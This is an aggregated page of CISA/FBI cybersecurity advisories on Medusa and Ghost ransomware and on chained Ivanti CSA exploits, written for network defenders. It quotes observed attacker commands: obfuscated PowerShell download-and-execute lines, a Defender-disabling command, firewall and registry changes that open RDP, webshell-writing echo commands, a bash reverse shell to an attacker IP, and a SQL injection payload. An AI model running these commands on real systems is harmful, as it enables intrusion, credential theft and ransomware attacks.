Category: US Computer Emergency Readiness Team

News In Brief – Source: US Computer Emergency Readiness Team

Today, CISA—in partnership with the Federal Bureau of Investigation (FBI) and Multi-State Information Sharing and Analysis Center (MS-ISAC)—released joint Cybersecurity Advisory, #StopRansomware: Medusa Ransomware. This advisory provides tactics, techniques, and procedures (TTPs), indicators of compromise (IOCs), and detection methods associated with known Medusa ransomware activity.

Medusa is a ransomware-as-a-service variant used to conduct ransomware attacks; as of December 2024, over 300 victims from critical infrastructure sectors have been impacted. Medusa actors use common techniques like phishing campaigns and exploiting unpatched software vulnerabilities.

Immediate actions organizations can take to mitigate Medusa ransomware activity: 

• Ensure operating systems, software, and firmware are patched and up to date.
• Segment networks to restrict lateral movement.
• Filter network traffic by preventing unknown or untrusted origins from accessing remote services.

CISA encourages network defenders to review the advisory and implement the recommended mitigations to reduce the likelihood and impact of Medusa ransomware incidents. See #StopRansomware and the #StopRansomware Guide for additional guidance on ransomware protection, detection, and response.

News In Brief – Source: US Computer Emergency Readiness Team

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

Download the PDF version of this report:

For a downloadable list of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

• 21 (FTP)
• 22 (SSH)
• 23 (Telnet)
• 80 (HTTP)
• 115 (SFTP)
• 443 (HTTPS)
• 1433 (SQL database)
• 3050 (Firebird database)
• 3128 (HTTP web proxy)
• 3306 (MySQL database)
• 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

• powershell -exec bypass -enc

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

• powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http:///.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

• powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
• New-Object System.IO.StreamReader(
• New-Object System.IO.Compression.GzipStream((
• New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
• (('')-f'','', '')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

• Ligolo.
  • A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.
• Cloudflared.
  • Formerly known as ArgoTunnel.
  • Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

• Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
• Execute an already existing local file on a remote machine with SYSTEM level privileges.
• Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

• netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

• netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

• reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

News In Brief – Source: US Computer Emergency Readiness Team

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Ghost (Cring)—(“Ghost”)—ransomware IOCs and TTPs identified through FBI investigation as recently as January 2025.

Beginning early 2021, Ghost actors began attacking victims whose internet facing services ran outdated versions of software and firmware. This indiscriminate targeting of networks containing vulnerabilities has led to the compromise of organizations across more than 70 countries, including organizations in China. Ghost actors, located in China, conduct these widespread attacks for financial gain. Affected victims include critical infrastructure, schools and universities, healthcare, government networks, religious institutions, technology and manufacturing companies, and numerous small- and medium-sized businesses.

Ghost actors rotate their ransomware executable payloads, switch file extensions for encrypted files, modify ransom note text, and use numerous ransom email addresses, which has led to variable attribution of this group over time. Names associated with this group include Ghost, Cring, Crypt3r, Phantom, Strike, Hello, Wickrme, HsHarada, and Rapture. Samples of ransomware files Ghost used during attacks are: Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe.

Ghost actors use publicly available code to exploit Common Vulnerabilities and Exposures (CVEs) and gain access to internet facing servers. Ghost actors exploit well known vulnerabilities and target networks where available patches have not been applied.

The FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Ghost ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16.1. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

The FBI has observed Ghost actors obtaining initial access to networks by exploiting public facing applications that are associated with multiple CVEs [T1190]. Their methodology includes leveraging vulnerabilities in Fortinet FortiOS appliances (CVE-2018-13379), servers running Adobe ColdFusion (CVE-2010-2861 and CVE-2009-3960), Microsoft SharePoint (CVE-2019-0604), and Microsoft Exchange (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207— commonly referred to as the ProxyShell attack chain).

Execution

Ghost actors have been observed uploading a web shell [T1505.003] to a compromised server and leveraging Windows Command Prompt [T1059.003] and/or PowerShell [T1059.001] to download and execute Cobalt Strike Beacon malware [T1105] that is then implanted on victim systems. Despite Ghost actors’ malicious implementation, Cobalt Strike is a commercially available adversary simulation tool often used for the purposes of testing an organization’s security controls.

Persistence

Persistence is not a major focus for Ghost actors, as they typically only spend a few days on victim networks. In multiple instances, they have been observed proceeding from initial compromise to the deployment of ransomware within the same day. However, Ghost actors sporadically create new local [T1136.001] and domain accounts [T1136.002] and change passwords for existing accounts [T1098]. In 2024, Ghost actors were observed deploying web shells [T1505.003] on victim web servers.

Privilege Escalation

Ghost actors often rely on built in Cobalt Strike functions to steal process tokens running under the SYSTEM user context to impersonate the SYSTEM user, often for the purpose of running Beacon a second time with elevated privileges [T1134.001].

Ghost actors have been observed using multiple open-source tools in an attempt at privilege escalation through exploitation [T1068] such as “SharpZeroLogon,” “SharpGPPPass,” “BadPotato,” and “GodPotato.” These privilege escalation tools would not generally be used by individuals with legitimate access and credentials. 

See Table 1 for a descriptive listing of tools.

Credential Access

Ghost actors use the built in Cobalt Strike function “hashdump” or Mimikatz [T1003] to collect passwords and/or password hashes to aid them with unauthorized logins and privilege escalation or to pivot to other victim devices.

Defense Evasion

Ghost actors used their access through Cobalt Strike to display a list of running processes [T1057] to determine which antivirus software [T1518.001] is running so that it can be disabled [T1562.001]. Ghost frequently runs a command to disable Windows Defender on network connected devices. Options used in this command are: Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIntrusionPreventionSystem 1 -DisableBehaviorMonitoring 1 -DisableScriptScanning 1 -DisableIOAVProtection 1 -EnableControlledFolderAccess Disabled -MAPSReporting Disabled -SubmitSamplesConsent NeverSend.

Discovery

Ghost actors have been observed using other built-in Cobalt Strike commands for domain account discovery [T1087.002], open-source tools such as “SharpShares” for network share discovery [T1135], and “Ladon 911” and “SharpNBTScan” for remote systems discovery [T1018]. Network administrators would be unlikely to use these tools for network share or remote systems discovery.

Lateral Movement

Ghost actors used elevated access and Windows Management Instrumentation Command-Line (WMIC) [T1047] to run PowerShell commands on additional systems on the victim network— often for the purpose of initiating additional Cobalt Strike Beacon infections. The associated encoded string is a base 64 PowerShell command that always begins with: powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIA… [T1132.001][T1564.003].

This string decodes to “$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(“” and is involved with the execution of Cobalt Strike in memory on the target machine.

In cases where lateral movement attempts are unsuccessful, Ghost actors have been observed abandoning an attack on a victim.

Exfiltration

Ghost ransom notes often claim exfiltrated data will be sold if a ransom is not paid. However, Ghost actors do not frequently exfiltrate a significant amount of information or files, such as intellectual property or personally identifiable information (PII), that would cause significant harm to victims if leaked. The FBI has observed limited downloading of data to Cobalt Strike Team Servers [T1041]. Victims and other trusted third parties have reported limited uses of Mega.nz [T1567.002] and installed web shells for similar limited data exfiltration. Note: The typical data exfiltration is less than hundreds of gigabytes of data.

Command and Control

Ghost actors rely heavily on Cobalt Strike Beacon malware and Cobalt Strike Team Servers for command and control (C2) operations, which function using hypertext transfer protocol (HTTP) and hypertext transfer protocol secure (HTTPS) [T1071.001]. Ghost rarely registers domains associated with their C2 servers. Instead, connections made to a uniform resource identifier (URI) of a C2 server, for the purpose of downloading and executing Beacon malware, directly reference the C2 server’s IP address. For example, http://xxx.xxx.xxx.xxx:80/Google.com where xxx.xxx.xxx.xxx represents the C2 server’s IP address.

For email communication with victims, Ghost actors use legitimate email services that include traffic encryption features. [T1573] Some examples of emails services that Ghost actors have been observed using are Tutanota, Skiff, ProtonMail, Onionmail, and Mailfence.

Note: Table 2 contains a list of Ghost ransom email addresses.

Impact and Encryption

Ghost actors use Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe, which are all ransomware executables that share similar functionality. Ghost variants can be used to encrypt specific directories or the entire system’s storage [T1486]. The nature of executables’ operability is based on command line arguments used when executing the ransomware file. Various file extensions and system folders are excluded during the encryption process to avoid encrypting files that would render targeted devices inoperable.

These ransomware payloads clear Windows Event Logs [T1070.001], disable the Volume Shadow Copy Service, and delete shadow copies to inhibit system recovery attempts [T1490]. Data encrypted with Ghost ransomware variants cannot be recovered without the decryption key. Ghost actors hold the encrypted data for ransom and typically demand anywhere from tens to hundreds of thousands of dollars in cryptocurrency in exchange for decryption software [T1486].

The impact of Ghost ransomware activity varies widely on a victim-to-victim basis. Ghost actors tend to move to other targets when confronted with hardened systems, such as those where proper network segmentation prevents lateral moment to other devices.

Indicators of Compromise (IOC)

Table 1 lists several tools and applications Ghost actors have used for their operations. The use of these tools and applications on a network should be investigated further.

Note: Authors of these tools generally state that they should not be used in illegal activity.

Ransom Email Addresses

Table 3 is a subset of ransom email addresses that have been included in Ghost ransom notes.

Ransom Notes

Starting approximately in August 2024, Ghost actors began using TOX IDs in ransom notes as an alternative method for communicating with victims. For example: EFE31926F41889DBF6588F27A2EC3A2D7DEF7D2E9E0A1DEFD39B976A49C11F0E19E03998DBDA and E83CD54EAAB0F31040D855E1ED993E2AC92652FF8E8742D3901580339D135C6EBCD71002885B.

MITRE ATT&CK Tactics and Techniques

See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, version 16.1, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Mitigations

The FBI, CISA, and MS-ISAC recommend organizations reference their #StopRansomware Guide and implement the mitigations below to improve cybersecurity posture on the basis of the Ghost ransomware activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

• Maintain regular system backups that are known-good and stored offline or are segmented from source systems [CPG 2.R]. Ghost ransomware victims whose backups were unaffected by the ransomware attack were often able to restore operations without needing to contact Ghost actors or pay a ransom.
• Patch known vulnerabilities by applying timely security updates to operating systems, software, and firmware within a risk-informed timeframe [CPG 1.E].
• Segment networks to restrict lateral movement from initial infected devices and other devices in the same organization [CPG 2.F].
• Require Phishing-Resistant MFA for access to all privileged accounts and email services accounts.
• Train users to recognize phishing attempts.
• Monitor for unauthorized use of PowerShell. Ghost actors leverage PowerShell for malicious purposes, although it is often a helpful tool that is used by administrators and defenders to manage system resources. For more information, visit NSA and CISA’s joint guidance on PowerShell best practices.
  • Implement the principle of least privilege when granting permissions so that employees who require access to PowerShell are aligned with organizational business requirements.
• Implement allowlisting for applications, scripts, and network traffic to prevent unauthorized execution and access [CPG 3.A].
• Identify, alert on, and investigate abnormal network activity. Ransomware activity generates unusual network traffic across all phases of the attack chain. This includes running scans to discover other network connected devices, running commands to list, add, or alter administrator accounts, using PowerShell to download and execute remote programs, and running scripts not usually seen on a network. Organizations that can successfully identify and investigate this activity are better able to interrupt malicious activity before ransomware is executed [CPG 3.A].
  • Ghost actors run a significant number of commands, scripts, and programs that IT administrators would have no legitimate reason for running. Victims who have identified and responded to this unusual behavior have successfully prevented Ghost ransomware attacks.
• Limit exposure of services by disabling unused ports such as, RDP 3398, FTP 21, and SMB 445, and restricting access to essential services through securely configured VPNs or firewalls.
• Enhance email security by implementing advanced filtering, blocking malicious attachments, and enabling DMARC, DKIM, and SPF to prevent spoofing [CPG 2.M].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

Reporting

Your organization has no obligation to respond or provide information back to the FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to the FBI, reporting must be consistent with applicable state and federal laws.

The FBI is interested in any information that can be shared, to include logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, and/or decryptor files.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, date of infection, date detected, initial attack vector, and host and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and the MS-ISAC.

Version History

February 19, 2025: Initial version.

News In Brief – Source: US Computer Emergency Readiness Team

Today, CISA—in partnership with the Federal Bureau of Investigation (FBI) and Multi-State Information Sharing and Analysis Center (MS-ISAC)—released a joint Cybersecurity Advisory, #StopRansomware: Ghost (Cring) Ransomware. This advisory provides network defenders with indicators of compromise (IOCs), tactics, techniques, and procedures (TTPs), and detection methods associated with Ghost ransomware activity identified through FBI investigations.

Ghost actors conduct these widespread attacks targeting and compromising organizations with outdated versions of software and firmware on their internet facing services. These malicious ransomware actors are known to use publicly available code to exploit Common Vulnerabilities and Exposures (CVEs) where available patches have not been applied to gain access to internet facing servers. The known CVEs are CVE-2018-13379, CVE-2010-2861, CVE-2009-3960, CVE-2021-34473, CVE-2021-34523, CVE-2021-31207.

CISA encourages network defenders to review this advisory and apply the recommended mitigations. See #StopRansomware and the #StopRansomware Guide for additional guidance on ransomware protection, detection, and response. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including added recommended baseline protections.

News In Brief – Source: US Computer Emergency Readiness Team

CISA and the Federal Bureau of Investigation (FBI) have released a Secure by Design Alert, Eliminating Buffer Overflow Vulnerabilities, as part of their cooperative Secure by Design Alert series—an ongoing series aimed at advancing industry-wide best practices to eliminate entire classes of vulnerabilities during the design and development phases of the product lifecycle. “Eliminating Buffer Overflow Vulnerabilities” describes proven techniques to prevent or mitigate buffer overflow vulnerabilities through secure by design principles and best practices.

Buffer overflow vulnerabilities are a prevalent type of defect in memory-safe software design that can lead to system compromise. These vulnerabilities can lead to data corruption, sensitive data exposure, program crashes, and unauthorized code execution. Threat actors frequently exploit these vulnerabilities to gain initial access to an organization’s network and then move laterally to the wider network.

CISA and FBI urge manufacturers review the Alert and, where feasible, eliminate this class of defect by developing new software using memory-safe languages, using secure by design methods, and implementing the best practices supplied in this Alert. CISA and FBI also urge software customers demand secure products from manufacturers that include these preventions. Visit CISA’s Secure by Design Pledge page to learn about our voluntary pledge, which focuses on enterprise software products and services—including on-premises software, cloud services, and software as a service (SaaS).

News In Brief – Source: US Computer Emergency Readiness Team

News In Brief – Source: US Computer Emergency Readiness Team

CISA, in partnership with the Federal Bureau of Investigation (FBI), released Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications. This advisory was crafted in response to active exploitation of vulnerabilities—CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities—in Ivanti Cloud Service Appliances (CSA) in September 2024.

CISA, and the use of trusted third-party incident response data, found that threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks.

CISA and FBI strongly encourage network administrators and defenders to upgrade to the latest supported version of Ivanti CSA and to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) provided in the advisory. All members of the cybersecurity community are also encouraged to visit CISA’s Known Exploited Vulnerabilities Catalog to help better manage vulnerabilities and keep pace with threat activity. For more information and guidance on protection against the most common and impactful threats, tactics, techniques, and procedures, visit CISA’s Cross-Sector Cybersecurity Performance Goals.

News In Brief – Source: US Computer Emergency Readiness Team

Note: The CVEs in this advisory are unrelated to vulnerabilities (CVE-2025-0282 and CVE-2025-0283) in Ivanti’s Connect Secure, Policy Secure and ZTA Gateways. For more information on mitigating CVE -2025-0282 and CVE-2025-0283, see Ivanti Releases Security Updates for Connect Secure, Policy Secure, and ZTA Gateways.

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory in response to exploitation in September 2024 of vulnerabilities in Ivanti Cloud Service Appliances (CSA): CVE-2024-8963, an administrative bypass vulnerability; CVE-2024-9379, a SQL injection vulnerability; and CVE-2024-8190 and CVE-2024-9380, remote code execution vulnerabilities.

According to CISA and trusted third-party incident response data, threat actors chained the listed vulnerabilities to gain initial access, conduct remote code execution (RCE), obtain credentials, and implant webshells on victim networks. The actors’ primary exploit paths were two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380 and the other exploited CVE-2024-8963 and CVE-2024-9379. In one confirmed compromise, the actors moved laterally to two servers.

All four vulnerabilities affect Ivanti CSA version 4.6x versions before 519, and two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect CSA versions 5.0.1 and below; according to Ivanti, these CVEs have not been exploited in version 5.0.[1]

Ivanti CSA 4.6 is End-of-Life (EOL) and no longer receives patches or third-party libraries. CISA and FBI strongly encourage network administrators to upgrade to the latest supported version of Ivanti CSA. Network defenders are encouraged to hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory. Credentials and sensitive data stored within the affected Ivanti appliances should be considered compromised. Organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

In September 2024, Ivanti released two Security Advisories disclosing exploitation of CVE-2024-8190 and CVE-2024-8963.[2][3] In October 2024, Ivanti released another advisory disclosing exploitation of CVE-2024-9379 and CVE-2024-9380.[1]

• CVE-2024-8963 [CWE-22: Path Traversal] is an administrate bypass vulnerability that allows threat actors to remotely access restricted features within the appliance. When used in conjunction with CVE-2024-8190 [CWE-78: OS Command Injection], threat actors can remotely authenticate into a victims’ network and execute arbitrary commands on the appliance [T1219].[2][3]
• CVE-2024-9379 [CWE-89: SQL Injection] allows a remote authenticated attacker with admin privileges to run arbitrary SQL statements.[1]
• CVE-2024-9380 [CWE-77: Command Injection] allows a remote authenticated attacker with admin privileges to obtain RCE.[1]

According to Ivanti’s advisories and industry reporting, these vulnerabilities were exploited as zero days.[4] Based on evidence of active exploitation, CISA added CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 to its Known Exploited Vulnerabilities (KEV) Catalog.

According to CISA and trusted third-party incident response data, threat actors chained the above listed vulnerabilities to gain initial access, conduct RCE, obtain credentials, and implant webshells on victim networks. The primary exploit paths included two vulnerability chains. One exploit chain leveraged CVE-2024-8963 in conjunction with CVE-2024-8190 and CVE-2024-9380. The other chain exploited CVE-2024-8963 and CVE-2024-9379. After exploitation, the actors moved laterally in one victim—other victims had no follow-on activity because they identified anomalous activity and implemented mitigation measures.

Exploit Chain 1

The threat actors leveraged CVE-2024-8963 in conjunction with remote code execution vulnerabilities, CVE-2024-8190 and CVE-2024-9380. Acting as a nobody user [T1564.002], the threat actors first sent a GET request to datetime.php to acquire session and cross-site request forgery (CSRF) tokens using GET /client/index.php%3F.php/gsb/datetime[.]php [T1071.001]. They followed this in quick succession with a POST request to the same endpoint, using the TIMEZONE input field to manipulate the setSystemTimeZone function and execute code. In some confirmed compromises, the actors used this method to run base64-encoded Python scripts that harvested encrypted admin credentials from the database [T1552.001]. Note: The actors used multiple script variations. See Appendix A for examples of encoded and decoded scripts.

In some cases, the threat actors exfiltrated the encrypted admin credentials then decrypted them offline [TA0010]. In other cases, the threat actors leveraged an executable matching the regular expression phpw{6} located in the /tmp directory to decrypt the credentials prior to exfiltration—this tool was unrecoverable.

After obtaining credentials, the actors logged in and exploited CVE-2024-9380 to execute commands from a higher privileged account. The actors successfully sent a GET request to /gsb/reports[.]php. They immediately followed this with a POST request using the TW_ID input field to execute code to implant webshells for persistence [T1505.003].

In one confirmed compromise, the threat actors tried to create webshells using two different paths:

• echo "
$_REQUEST['a']);">/opt/ivanti/csa/broker/webroot/client/help.php
• echo "
$_REQUEST['a']);" > /opt/landesk/broker/webroot/gsb/help.php

In the same compromise, the actors used the exploit to execute the following script to create a reverse Transmission Control Protocol command and control (C2) channel: bash -i >&/dev/tcp/107.173.89[.]16/8000 0>&1.

In another compromise, the threat actors maintained their presence on the victim’s system for a longer amount of time. The threat actors used sudo commands to disable the vulnerability in DateTimeTab.php, modify and remove webshells, and remove evidence of exploitation [T1548.003]. See Appendix B for the list of sudo commands used.

Lateral Movement

In one case, there was evidence of lateral movement after the threat actors gained access and established a foothold through this exploit chain. It is suspected that the threat actors gained access into a Jenkins server running a vulnerable, outdated version [T1068]. Logs on the Jenkins machine showed that a command in the bash history contained credentials to the postgres server. The threat actors then attempted to log into the Virtual Private Network (VPN) server but were unsuccessful. Prior to moving laterally, the actors likely performed discovery on the CSA device using Obelisk and GoGo to scan for vulnerabilities [T1595.002].

Exploit Chain 2

In one confirmed compromise, the actors used a similar exploit chain, exploiting CVE-2024-8963 in conjunction with CVE-2024-9379, using GET /client/index.php%3f.php/gsb/broker.php for initial access.

After the threat actors gained initial access, they attempted to exploit CVE-2024-9379 to create a webshell to gain persistent access. They executed GET and POST requests in quick succession to /client/index.php%3F.php/gsb/broker.php. In the POST body, threat actors entered the following string in the lockout attempts input box: LOCKOUTATTEMPTS = 1 ;INSERT INTO user_info(username, accessed, attempts) VALUES ('''echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>/.k''', NOW(), 10). The first portion of the command (LOCKOUTATTEMPTS=1) fit the format of the application and was properly handled by the application. However, the second portion of the command, a SQL injection [T1190], was not properly handled by the application. Regardless, the application processed both commands, allowing the threat actors to insert a user into the user_info table.

